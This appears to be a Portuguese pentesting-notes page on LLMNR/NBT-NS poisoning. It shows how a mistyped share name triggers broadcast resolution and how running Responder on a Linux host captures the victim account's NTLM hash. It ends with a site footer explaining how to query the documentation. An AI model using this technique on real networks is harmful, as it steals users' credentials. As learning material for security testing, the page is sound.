# Envenenamento de LLMNR / NBT-NS
Se o acesso for com um nome válido, a resolução primeiro passa pelo DNS do controlador de domínio.
{% code overflow="wrap" %}
```bash
dir //WS01/c$
```
{% endcode %}
Se o nome não existir, o Windows então tenta uma resolução via `LLMNR` ou `NBT-NS` em broadcast.
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
No Linux, podemos escutar essas requisições e responder com `Responder`.
{% code overflow="wrap" %}
```bash
sudo responder -I ens33
```
{% endcode %}
Se a vítima inserir o nome de compartilhamento errado, a consulta então cai em nossa máquina.
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
Em seguida, obtemos o hash NTLM da conta que está tentando se conectar.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
